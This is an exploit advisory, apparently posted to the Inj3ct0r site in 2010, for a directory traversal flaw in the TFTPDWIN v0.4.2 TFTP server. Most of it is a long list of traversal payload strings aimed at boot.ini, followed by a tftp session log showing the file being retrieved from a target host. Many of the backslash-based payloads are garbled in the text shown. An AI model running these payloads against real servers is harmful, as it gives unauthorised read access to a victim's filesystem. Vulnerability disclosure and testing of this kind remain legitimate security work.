TFTPDWIN v0.4.2 Directory Traversal Vulnerability
Posted on 01 September 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>TFTPDWIN v0.4.2 Directory Traversal Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================= TFTPDWIN v0.4.2 Directory Traversal Vulnerability ================================================= Author: chr1x (chr1x@sectester.net) Affected operating system/software, including full version details * TFTP Server TFTPDWIN v0.4.2, Tested on Windows XP PRO SP3 Download: http://www.prosysinfo.webpark.pl/sciagnij.html http://www.versiontracker.com/php/dlpage.php?id=10417389&db=win&pid=10417389&kind=&lnk=http://www.prosysinfo.com.pl/tftpserver/tftpdwin.exe How the vulnerability can be reproduced * Please, use the strings shown below to reproduce the issue. [*] Testing Path: ../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ....oot.ini <- Vulnerable string!! [*] Testing Path: ......oot.ini <- Vulnerable string!! [*] Testing Path: ........oot.ini <- Vulnerable string!! [*] Testing Path: ..........oot.ini <- Vulnerable string!! [*] Testing Path: ............oot.ini <- Vulnerable string!! [*] Testing Path: ..............oot.ini <- Vulnerable string!! [*] Testing Path: ................oot.ini <- Vulnerable string!! [*] Testing Path: ../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ....oot.ini <- Vulnerable string!! [*] Testing Path: ......oot.ini <- Vulnerable string!! [*] Testing Path: ........oot.ini <- Vulnerable string!! [*] Testing Path: ..........oot.ini <- Vulnerable string!! [*] Testing Path: ............oot.ini <- Vulnerable string!! [*] Testing Path: ..............oot.ini <- Vulnerable string!! [*] Testing Path: ................oot.ini <- Vulnerable string!! [*] Testing Path: ../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ....oot.ini <- Vulnerable string!! [*] Testing Path: ......oot.ini <- Vulnerable string!! [*] Testing Path: ........oot.ini <- Vulnerable string!! [*] Testing Path: ..........oot.ini <- Vulnerable string!! [*] Testing Path: ............oot.ini <- Vulnerable string!! [*] Testing Path: ..............oot.ini <- Vulnerable string!! [*] Testing Path: ................oot.ini <- Vulnerable string!! [*] Testing Path: ../boot.ini <- Vulnerable string!! [*] Testing Path: ../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: ../../../../../../../../boot.ini <- Vulnerable string!! [*] Testing Path: /../..oot.ini <- Vulnerable string!! [*] Testing Path: /../../..oot.ini <- Vulnerable string!! [*] Testing Path: /../../../..oot.ini <- Vulnerable string!! [*] Testing Path: /../../../../..oot.ini <- Vulnerable string!! [*] Testing Path: /../../../../../..oot.ini <- Vulnerable string!! [*] Testing Path: /../../../../../../..oot.ini <- Vulnerable string!! [*] Testing Path: /../../../../../../../..oot.ini <- Vulnerable string!! Confirmation Log: root@olovely:/# tftp 192.168.1.53 tftp> connect (to) 192.168.1.53 tftp> ascii tftp> get (files) ..............oot.ini Received 211 bytes in 0.0 seconds tftp> What impact the vulnerability has on the vulnerable system Any additional details that might help in the verification process * High, since when exploiting the vulnerability the attacker is able to get full access to the victim filesystem. # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-01]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
